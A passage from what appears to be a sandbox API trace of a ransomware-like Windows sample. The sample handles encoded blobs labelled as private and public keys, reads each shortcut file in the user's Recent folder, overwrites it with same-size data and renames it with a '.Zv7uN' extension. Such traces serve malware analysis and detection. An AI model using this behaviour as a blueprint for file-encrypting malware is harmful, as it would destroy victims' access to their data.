DsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.814] GetCurrentThreadId () returned 0xa30 [0079.814] GetCurrentThreadId () returned 0xa30 [0079.814] GetCurrentThreadId () returned 0xa30 [0079.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.815] GetCurrentThreadId () returned 0xa30 [0079.815] GetCurrentThreadId () returned 0xa30 [0079.815] GetCurrentThreadId () returned 0xa30 [0079.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7lZfRGVx.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7lzfrgvx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.815] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.815] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.815] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xe66 [0079.815] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.815] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xe66, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xe66, lpOverlapped=0x0) returned 1 [0079.816] CloseHandle (hObject=0x124) returned 1 [0079.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7lZfRGVx.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7lzfrgvx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.818] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xe66, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xe66, lpOverlapped=0x0) returned 1 [0079.819] CloseHandle (hObject=0x124) returned 1 [0079.820] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7lZfRGVx.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7lzfrgvx.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7lZfRGVx.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7lzfrgvx.lnk.zv7un")) returned 1 [0079.821] GetCurrentThreadId () returned 0xa30 [0079.822] GetCurrentThreadId () returned 0xa30 [0079.822] GetCurrentThreadId () returned 0xa30 [0079.822] GetCurrentThreadId () returned 0xa30 [0079.822] GetCurrentThreadId () returned 0xa30 [0079.822] GetCurrentThreadId () returned 0xa30 [0079.822] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3cb180, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d3cb180, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d3cb180, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x19e6, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="7nadXsUY.lnk", cAlternateFileName="")) returned 1 [0079.822] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.822] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7nadXsUY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7nadxsuy.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3cb180, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d3cb180, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d3cb180, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x19e6)) returned 1 [0079.822] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7nadXsUY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7nadxsuy.lnk")) returned 0x20 [0079.822] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7nadXsUY.lnk", dwFileAttributes=0x80) returned 1 [0079.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIE